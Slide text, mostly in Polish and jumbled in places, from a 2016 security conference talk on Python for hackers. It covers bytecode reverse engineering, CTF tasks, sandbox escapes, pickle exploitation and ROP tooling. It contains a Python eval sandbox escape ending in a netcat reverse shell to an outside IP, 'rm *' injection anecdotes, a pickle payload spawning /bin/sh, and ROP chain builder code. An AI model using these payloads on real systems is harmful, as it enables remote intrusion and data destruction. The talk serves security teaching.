Python in a hacker's toolbox
v. 2016
Gynvael Coldwind Security PWNing Conference, Warszawa 2016 Keynote?
Raczej prelekcja techniczna. O prelegencie
All opinions expressed during this presentations are mine and mine alone. They are not opinions of my lawyer, barber and especially not my employer. Menu Sandboxing Język i VM
Bezpieczeństwo RE Ta prezentacja zawiera fragmenty
● Data, data, data...
● "On the battlefield with the dragons" (+ Mateusz Jurczyk)
● "Ataki na systemy i sieci komputerowe"
● "Pwning (sometimes) with style - Dragons' notes on CTFs" (+ Mateusz Jurczyk)
● "Python in a hacker's toolbox" Język i VM Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Python Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Język rozwijany przez Python Software Foundation
Python Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Język rozwijany przez Python Software Foundation
Python Python Enhancement Proposal (w skrócie: PEP) Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Język rozwijany przez Python Software Foundation
Python Python Enhancement Proposal (w skrócie: PEP) Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Python Implementacje
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython Brython CLPython Jython HotPy pyjs Python Implementacje PyMite PyPy pyvm SNAPpy RapydScript IronPython tinypy
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Jython
Python Implementacje
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... Brython
Python Implementacje
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
Python Implementacje
IronPython
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython Implementacja wzorcowa
Python Implementacje
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... CPython
2.7
3.X Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my... O tym jest ta CPython prezentacja
2.7
3.X Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
2c-python Compyler Cython Python Kompilatory GCC Nuitka Pyc Shed Skin unPython
https://wiki.python.org/moin/PythonImplementations Python 2.6, 2.7, 3, CPython?, IronPython??, Jython???, oh my...
py2app PyInstaller Bundlery cx_Freeze Python ("freezery") py2exe bbfreeze
http://tynecki.pl/pdf/A-comparison-of-reverse-engineering-methods-for-Python-compiled-binaries-Piotr-Tynecki.pdf Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV) Python jako język programowania (1 IV)
http://gynvael.coldwind.pl/?id=599 Python jako język programowania
obiektowy dynamicznie typowany bardzo rozsądne inty masa bibliotek świetna introspekcja RE PY → PYC → PY def func(a): python -m compileall simple.py print(a+1) func(41) >>> print( PY → PYC → PY datetime.datetime.fromtimestamp(0x58206240)) 2016-11-07 12:15:12 znak nowej linii sygnatura wersji timestamp PY → PYC → PY zserializowany obiekt klasy code PY → PYC → PY >>> import marshal >>> marshal.loads(open("simple.pyc").read()[8:]) at 0x7fdcd3fa66b0, file "simple.py", line 1> PY → PYC → PY >>> import marshal >>> marshal.loads(open("simple.pyc").read()[8:])
at 0x7fdcd3fa66b0, file "simple.py", line 1>
kod bajtowy maszyny stosowej
>>> import dis >>> dis.dis(c) 1 0 LOAD_CONST 0 () 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)
4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE PY → PYC → PY
func = MAKE_FUNCTION(CONST[0])
func(41) return None
>>> import dis >>> dis.dis(c) 1 0 LOAD_CONST 0 () 3 MAKE_FUNCTION 0 6 STORE_NAME 0 (func)
4 9 LOAD_NAME 0 (func) 12 LOAD_CONST 1 (41) 15 CALL_FUNCTION 1 18 POP_TOP 19 LOAD_CONST 2 (None) 22 RETURN_VALUE PY → PYC → PY
func = MAKE_FUNCTION(CONST[0])
>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE PY → PYC → PY
func = MAKE_FUNCTION(CONST[0])
print(a+1) return None
>>> dis.dis(c.co_consts[0]) 2 0 LOAD_FAST 0 (a) 3 LOAD_CONST 1 (1) 6 BINARY_ADD 7 PRINT_ITEM 8 PRINT_NEWLINE 9 LOAD_CONST 0 (None) 12 RETURN_VALUE PY → PYC → PY
def func(a): def func(a): print(a+1) print(a+1) return None
func(41) func(41) return None
Easy Python Decompiler - https://sourceforge.net/projects/easypythondecompiler/ Decompyle++: https://github.com/zrax/pycdc uncompyle2: https://github.com/Mysterie/uncompyle2 Kod bajtowy a wersje CPython
http://gynvael.coldwind.pl/rebook/py_opcodes.html Przykład RE What’s wrong with this? (Hack.lu 2013, 250)
hello.tar What’s wrong with this? (Hack.lu 2013, 250)
library.zip
... __main__hello__.pyc ... What’s wrong with this? (Hack.lu 2013, 250)
__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
[Names] 'sys' 'hashlib' 'sha256' 'dis' 'multiprocessing' 'UserList' 'encrypt_string' 'rot_chr' 'SECRET' 'argv' What’s wrong with this? (Hack.lu 2013, 250)
__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
[Names] [Code] 'sys' Object Name: encrypt_string 'hashlib' ... 'sha256' [Disassembly] 'dis' 0 BUILD_LIST 0 'multiprocessing' 3 STORE_FAST 1: new_str 'UserList' 6 SETUP_LOOP 99 (to 108) 'encrypt_string' 9 LOAD_GLOBAL 0: enumerate 'rot_chr' 12 LOAD_FAST 0: s 'SECRET' 15 CALL_FUNCTION 1 'argv' 18
__main__hello__.pyc http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html
# Source Generated with Decompyle++ [Names] # File: __main__hello__.pyc (...) 'sys' 'hashlib' import sys 'sha256' import dis 'dis' import multiprocessing 'multiprocessing' import UserList 'UserList' 'encrypt_string' def encrypt_string(s): 'rot_chr' pass 'SECRET' # WARNING: Decompyle incomplete 'argv' What’s wrong with this? (Hack.lu 2013, 250)
Autorzy zadania zmodyfikowali kod bajtowy CPython. What’s wrong with this? (Hack.lu 2013, 250)
Autorzy zadania zmodyfikowali kod bajtowy CPython. Na przykład:
... 114 LOAD_FAST 1: new_str 117 CALL_FUNCTION 1 120 IMPORT_STAR
Autorzy zadania zmodyfikowali kod bajtowy CPython. Na przykład:
... 114 LOAD_FAST 1: new_str 117 CALL_FUNCTION 1 120 IMPORT_STAR
#define RETURN_VALUE 83 #define IMPORT_STAR 84 What’s wrong with this? (Hack.lu 2013, 250)
53 ↔ 54
62 ↔ 63
44 ↔ 45
19 ↔ 18
57 ↔ 58 What’s wrong with this? (Hack.lu 2013, 250)
53 ↔ 54 DELETE_SLICE vs STORE_MAP
62 ↔ 63 BINARY_LSHIFT vs BINARY_RSHIFT
44 ↔ 45 ? vs ?
19 ↔ 18 BINARY_POWER vs ?
57 ↔ 58 INPLACE_MULTIPLY vs INPLACE_DIVIDE What’s wrong with this? (Hack.lu 2013, 250)
BUILD_LIST 0 STORE_FAST 1 (new_str) encrypt_string
SETUP_LOOP 98 (to 107) ... GET_ITER
FOR_ITER 85 (to 107)
... COMPARE_OP 2 (==) POP_BLOCK POP_JUMP_IF_FALSE 68 ... RETURN_VALUE
LOAD_FAST 1 (new_str) LOAD_FAST 1 (new_str) ...... JUMP_ABSOLUTE 19 JUMP_ABSOLUTE 19 What’s wrong with this? (Hack.lu 2013, 250)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c) CALL_FUNCTION 1 LOAD_CONST 1 (33) BINARY_SUB LOAD_FAST 1 (amount) BINARY_ADD LOAD_CONST 2 (94) BINARY_MODULE LOAD_CONST 1 (33) BINARY_ADD CALL_FUNCTION 0 RETURN_VALUE What’s wrong with this? (Hack.lu 2013, 250)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
LOAD_GLOBAL 0 (chr) rot_chr LOAD_GLOBAL 1 (ord) LOAD_FAST 0 (c)
def rot_xchr(c, amount): if amount < 0: amount += 94 return chr(((ord(c) - 33) + amount) % 94 + 33)
SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'
x = rot_xchr(SECRET[0], -10) i = 0 for ch in SECRET[1:]: x += rot_xchr(ch, -ord(SECRET[i])) i += 1 print x RE dla odważnych (zadanie domowe) Zadanie domowe dla chętnych
http://gynvael.coldwind.pl/?id=602 Sandboxing Sandoxing? eval("kod do wykonania", {środowisko globalne}, {środowisko lokalne})
UWAGA: Tego typu sandboxing NIE DZIAŁA. >>> eval("open('asdf')", {"__builtins__":{}}, {}) Traceback (most recent call last): File "
Kalkulator Prosty widget na stronie. „Sandbox”
POST /calc HTTP/1.1 {"formula": "6*9"}
HTTP SERVER
HTTP/1.1 200 OK {"result": "42"} „Sandbox”
POST /calc HTTP/1.1 {"formula": "0/0"}
HTTP SERVER
HTTP/1.1 200 OK {"error": "ZeroDivisionError"} „Sandbox” ?
1+open("/etc/passwd")+1 ? ?
Damn Kids! NameError TypeError Get Off My Lawn! „Sandbox”
1+open("/etc/passwd")+1
NameError „Sandbox” ?
1+len([1,1,1])+1 ? ?
Damn Kids! NameError 5 Get Off My Lawn! „Sandbox”
1+len([1,1,1])+1
Prawdopodobnie sandbox typu: eval("formula", {"__builtins__": None, "sin": math.sin, NameError ... }, # Globals {}) # Locals „Sandbox” ?
1+[1,1,1].__len__()+1 ? ?
Damn Kids! NameError 5 Get Off My Lawn! „Sandbox”
1+[1,1,1].__len__()+1
5 „Sandbox”
{}
dir(formula)
['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', {} '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__setitem__', '__sizeof__', '__str__', '__subclasshook__', 'clear', 'copy', 'fromkeys', 'get', 'has_key', 'items', 'iteritems', 'iterkeys', 'itervalues', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values', 'viewitems', 'viewkeys', 'viewvalues'] „Sandbox”
{}.__class__
dir(formula)
['__class__', '__cmp__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__iter__', '__le__', '__len__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
{}.__class__.__base__
dir(formula)
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__',
{}.__class__.__base__ .__subclasses__
dir(formula)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__',
{}.__class__.__base__ .__subclasses__()
dir(formula)
[
{}.__class__.__base__ .__subclasses__()[59]
dir(formula)
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__',
{}.__class__.__base__ .__subclasses__()[59]()
dir(formula)
['__class__', '__delattr__', '__dict__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__module__', catch_warnings() '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_entered', '_module', '_record'] „Sandbox”
{}.__class__.__base__ .__subclasses__()[59]()._module
dir(formula)
['WarningMessage', '_OptionError', '__all__', '__builtins__', '__doc__', '__file__', '__name__', '__package__', '_getaction', '_getcategory',
dir(formula)
[...], 'ArithmeticError':
dir(formula)
['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__',
Ender's game...
{}.__class__.__base__ .__subclasses__()[59]()._module .__builtins__['__import__'] „Sandbox”
Ender's game...
{}.__class__.__base__ .__subclasses__()[59]()._module ('os') .__builtins__['__import__'] „Sandbox”
Ender's game...
{}.__class__.__base__ .__subclasses__()[59]()._module ('os') .system .__builtins__['__import__'] „Sandbox”
Ender's game...
{}.__class__.__base__ ('nc.traditional -e .__subclasses__()[59]()._module ('os') .system /bin/bash .__builtins__['__import__'] 93.184.216.34 31337') „Sandbox”
Ender's game...
{}.__class__.__base__ ('nc.traditional -e .__subclasses__()[59]()._module ('os') .system /bin/bash .__builtins__['__import__'] 93.184.216.34 31337') „Sandbox”
Patrz również: http://gynvael.coldwind.pl/n/python_sandbox_escape Dygresja Zasłyszana zabawna historia
Dawno, dawno temu, za siedmioma górami był sobie spammer... Zasłyszana zabawna historia
Quiz! Jak spammer rozwiązywał captcha? A. Zaimplementował parser, konwersje z notacji infiksowej na odwrotną notację polską, a potem użył maszyny stosowej by wyliczyć wynik B. Użył eval() Zasłyszana zabawna historia
Quiz! Rozwiązanie: Z jakiegoś powodu CAPTCHA: 1+__import__('os').system('rm *')+1 podobno rozwiązała problem. Zasłyszana zabawna historia v1.5
<@Redford> LOL <@Redford> robię sobie programing 300 <@Redford> dostajesz serię wyrażeń i masz powiedzieć czy wynik jest całkowity <@Redford> i tak sobie już pareset zrobiłem w sumie <@Redford> i nagle dostaję do sprawdzenia: <@Redford> __import__('os').popen('rm -ri *').read() <@Redford> :D <@Redford> na szczęście miałem regexpa przed evalem który przed tym zabezpieczał :) Sandboxing - przykład 2 „Empty Sandbox” __nightmares__ (PlaidCTF 2014, 375) (q3k!)
Możesz wykonać dowolny kod. „Empty Sandbox” __nightmares__ (PlaidCTF 2014, 375) (q3k!)
Możesz wykonać dowolny kod.
Ale w środowisku jest tylko jeden global: stdout (+ słowa kluczowe) stdout stdout .__class__ stdout .__class__
.seek() + .read() stdout .__class__
.seek() + .read()
read addr of system() in .got stdout .__class__
.seek() + .read()
read addr of system() in .got write it under fopen64() in .got stdout .__class__
.seek() + .read()
read addr of system() in .got write it under fopen64() in .got
Bezpieczniej użyć nsjaila ;) Bezpieczeństwo Good news, ACLe w końcu poprawione! :) Listopad 2010 https://bugs.python.org/issue10491
BUILTIN\Users:(CI)(ID)(special access:) FILE_APPEND_DATA
DLL hijacking BUILTIN\Users:(CI)(ID)(special access:) FILE_WRITE_DATA Good news, ACLe w końcu poprawione! :) Listopad 2010 https://bugs.python.org/issue10491 Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316 Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316
"Lowering the priority; this is now a documented bug." Good news, ACLe w końcu poprawione! :) Wrzesień 2005 https://bugs.python.org/issue1284316
"Lowering the priority; this is now a documented bug." Kwiecień 2015
%LocalAppData%\Programs\Python\Python35 %ProgramFiles%\Python 3.5 Good news, ACLe w końcu poprawione! :) (?) Wrzesień 2005 https://bugs.python.org/issue1284316
"Lowering the priority; this is now a documented bug." Kwiecień 2015
%LocalAppData%\Programs\Python\Python35 %ProgramFiles%\Python 3.5
"Um, you know this still affects Python 2.7 right?" Bezpieczeństwo - Pickle Pickle - P is for pwned
Cel: Strona pewnej firmy (pentest) Pickle - P is for pwned
Rozglądając się do okoła znajdujemy: Ciasteczka! Pickle - P is for pwned
có ż to? state cookie: SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC H:KGRwMApTJ3NlYXJjaF9sYXN0JwpwMQpTIicgb3IgMT0xIC 0tIgpwMgpzLg==: Pickle - P is for pwned
SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:
>>> sess.decode("base64") "(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS 'SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\n p4\ns." Pickle - P is for pwned
(dp0\nS'username'\np1\nNsS'login_time'\np2\nNsS' SID'\np3\nS'1cfccdb3388453f56ecca079115c6d61'\np 4\ns.
>>> import pickle >>> pickle.loads(sess.decode("base64")) {'username': None, 'SID': '1cfccdb3388453f56ecca079115c6d61', 'login_time': None} Pickle - P is for pwned Pickle - P is for pwned
Deserializacja obiektów - krótki przegląd */JSON Nie obsługuje obiektów. Pickle - P is for pwned
Deserializacja obiektów - krótki przegląd PHP/unserialize "Statyczne" tworzenie obiektów. Wywołuje __wakeup(). Ostatecznie również __destruct(). Pickle - P is for pwned
Deserializacja obiektów - krótki przegląd Python/pickle Wywołuje wybrany konstruktor z wybranego modułu z wybranymi argumentami. np. subprocess.Popen Pickle - P is for pwned
# https://blog.nelhage.com/2011/03/exploiting-pickle/ class Exploit(object): def __reduce__(self): fd = 20 # ←------??? return (subprocess.Popen, (('/bin/sh',), # args 0, # bufsize None, # executable fd, fd, fd # std{in,out,err} )) print base64.b64encode(pickle.dumps(Exploit()))
Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCnAxCnRwMgpJMApOSTIw CkkyMApJMjAKdHAzClJwNAou Pickle - P is for pwned
fd = 20
stdin (0) HTTP HTTP Connection stdout (1) /bin/sh Server 20 -> socket:[12345] stderr (2) Pickle - P is for pwned
state - wersja "poprawiona" SESSION:KGRwMApTJ3VzZXJuYW1lJwpwMQpOc1MnbG9naW5f dGltZScKcDIKTnNTJ1NJRCcKcDMKUycxY2ZjY2RiMzM4ODQ1 M2Y1NmVjY2EwNzkxMTVjNmQ2MScKcDQKcy4=:PREF:KGRwMA pTJ3ByZWZfbGFuZycKcDEKUydlbi11cycKcDIKcy4=:SEARC H:Y3N1YnByb2Nlc3MKUG9wZW4KcDAKKChTJy9iaW4vc2gnCn AxCnRwMgpJMApOSTIwCkkyMApJMjAKdHAzClJwNAou: Pickle - P is for pwned
IDDQD Bezpieczeństwo - Marshal Marshal - M is for ... nothing? Skryptowanie w skrócie GDB skryptowane w Pythonie
GDB ma cudowne Python API! Pobieranie wartości rejestrów jest naprawdę proste: import gdb print int(str(gdb.parse_and_eval("(void*)($rax)")).split(" ")[0], 16) GDB skryptowane w Pythonie
turututu (OCAML crackme, PHDays Quals CTF 2014) Stringi są przechowywane w pamięci jako linked lista def print_list(addr, next_off=8, mod=False): if addr == 1: ... print "
i = -1 # Next. r = addr r = ExprAsInt("*(void**)(0x%x+%u)" % while r != 1: r, next_off)) i += 1 item = ExprAsInt("*(void**)0x%x" % r) print "
--- walk_through_list_rsi
● Wiele debuggerów jest skryptowalne. ○ Zazwyczaj w Pythonie :)
● Przykłady: ○ Python for Windbg ○ ImmunityDbg ○ IDA ○ x64dbg (x64dbgpy) ○ Binary Ninja
Moja ulubiona biblioteka telnetlib
import telnetlib ... t = telnetlib.Telnet() t.sock = s t.interact() Python i ROP ROP 101 C/C++/ObjC
Stare dobre przepełnienie bufora
stos wątku
RETURN ...... ADDRESS
pechowy bufor (zostanie przepełniony) ROP 101 C/C++/ObjC
Stare dobre przepełnienie bufora
stos wątku
RETURN ...... ADDRESS
pechowy bufor (zostanie przepełniony) ROP 101 C/C++/ObjC
Stare dobre przepełnienie bufora
stos wątku
EVIL RETURN ... SHELLCODE RETURN ... ADDRESS ADDRESS
... ret (pop instruction pointer) ROP 101 C/C++/ObjC
Teraz już tak dobrze nie ma - NX/XD/DEP
stos wątku
EVIL RETURN ... SHELLCODE RETURN ... ADDRESS ADDRESS
... ret (pop instruction pointer) ROP 101 C/C++/ObjC
Teraz już tak dobrze nie ma - więc robi się ROP
stos wątku
EVIL EVIL EVIL RETURN ... (whatever) RETURN VALUE RETURN RETURN ... ADDRESS ADDRESS ADDRESS ADDRESS
gadget 1 gadget 2 gadget 3 ret ret ret ROP 101
Teraz już tak dobrze nie ma - więc robi się ROP
kod maszynowy (biblioteki, binarka)
gadget 1 gadget 2 gadget 3 ROP 101
Teraz już tak dobrze nie ma - więc robi się ROP
0x1f56a sub eax, 0x3a04f1 0x1f56f mov [rip+0x3a04da], rax 0x1f576 pop rax 0x1f577 pop rbx 0x1f578 pop rcx 0x1f579 ret 0x1f57a nop
gadget 1 skok do gadget 2 ROP - poszukiwanie gadżetów
W Pythonie, a jak. import distorm3 # https://code.google.com/p/distorm/downloads/list
# XXX Setup here XXX TARGET_FILE = "libc.so.6" FILE_OFFSET_START = 0x1f4a0 # In-file offset of scan start FILE_OFFSET_END = 0x165F88 # In-file offset of scan start VA = 0x0 # Note: PC is calculated like this: VA + given FILE_OFFSET X86_MODE = distorm3.Decode64Bits # just switch the 32 or 64 # XXX End of setup XXX
ulubiony disassembler (silnik, w postaci biblioteki) ROP - poszukiwanie gadżetów
W Pythonie, a jak. def DecodeAsm(pc, d): disasm = distorm3.Decode(pc, d, X86_MODE) k = [] l = "" ist = "" "\xB8\x78\x56\x34\x12\xC3" for d in disasm: addr = d[0] size = d[1] inst = d[2].lower() t = "0x%x %s" % (addr,inst) [ l += t + "\n" ist += "%s\n" % (inst) "0x1234 mov eax, 0x12345678", k.append((addr,inst)) "0x1239 ret" if inst.find('ret') != -1: ] break
return (l,k,ist) ROP - poszukiwanie gadżetów
W Pythonie, a jak. ------> offset: 0x1f667 UNIQ = {} 0x1f667 pop rbp d = open(TARGET_FILE, "rb").read() 0x1f668 pop r12 for i in xrange(FILE_OFFSET_START,FILE_OFFSET_END): (cc,kk,ist) = DecodeAsm(VA+i, d[i:i+20]) 0x1f66a ret if cc.find('ret') == -1: continue ------> offset: 0x1f668 if cc.find('db ') != -1: continue 0x1f668 pop r12 if ist in UNIQ: 0x1f66a ret continue UNIQ[ist] = True print "------> offset: 0x%x" % (i + VA) ------> offset: 0x1f669 for k in kk: 0x1f669 pop rsp print "0x%x %s" % (k[0],k[1]) 0x1f66a ret if k[1].find('ret') != -1: break print "" jeśli mamy szczęście, to będzie z 5MB ROP - tworzenie payloadu
Python!
# MY Little ROP, Libc Is Magic! from struct import pack LIBC=0
def dq(v): # data quad word return pack(" def set_rdi(rdi): # ------> offset: 0x22b1a # 0x22b1a pop rdi # 0x22b1b ret return ''.join([ dq(LIBC + 0x22b1a), dq(rdi) ]) ROP - tworzenie payloadu Python! def rop_read(fd, buf, count): READ = LIBC + 0xEB800 return ''.join([ set_rdi(fd), set_rsi(buf), set_rdx(count), syscall(0) ]) ROP - tworzenie payloadu Python! def gimme_gimme(libc): return ''.join([ # mmap rop_mmap(ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1 & 0xffffffffffffffff, 0), # read rop_read(0, ADDR, 0x1000), # jmp dq(ADDR), ]) ROP - tworzenie payloadu Jak to wygląda jako lista wartości... --> 48857 --> ffffffffffffffff --> 0 --> f49c0 --> f09c1 --> 22b1a --> 0 --> 0 --> 0 --> 24805 --> 22b1a --> 700000001000 --> 700000001000 --> bcee0 --> 24805 --> 1000 --> 1000 --> 48857 --> bcee0 --> 0 --> 7 --> 113828 --> 112ecf --> 700000001000 --> 32 --> 127906 ROP - łączenie z exploitem def add(s, size): ... s.send(dd(0) + dq(size)) # Write the ROP chain to stack and trigger return struct.unpack(' That's it. Dziękuje za uwagę! [email protected] http://gynvael.coldwind.pl/ twitter: @gynvael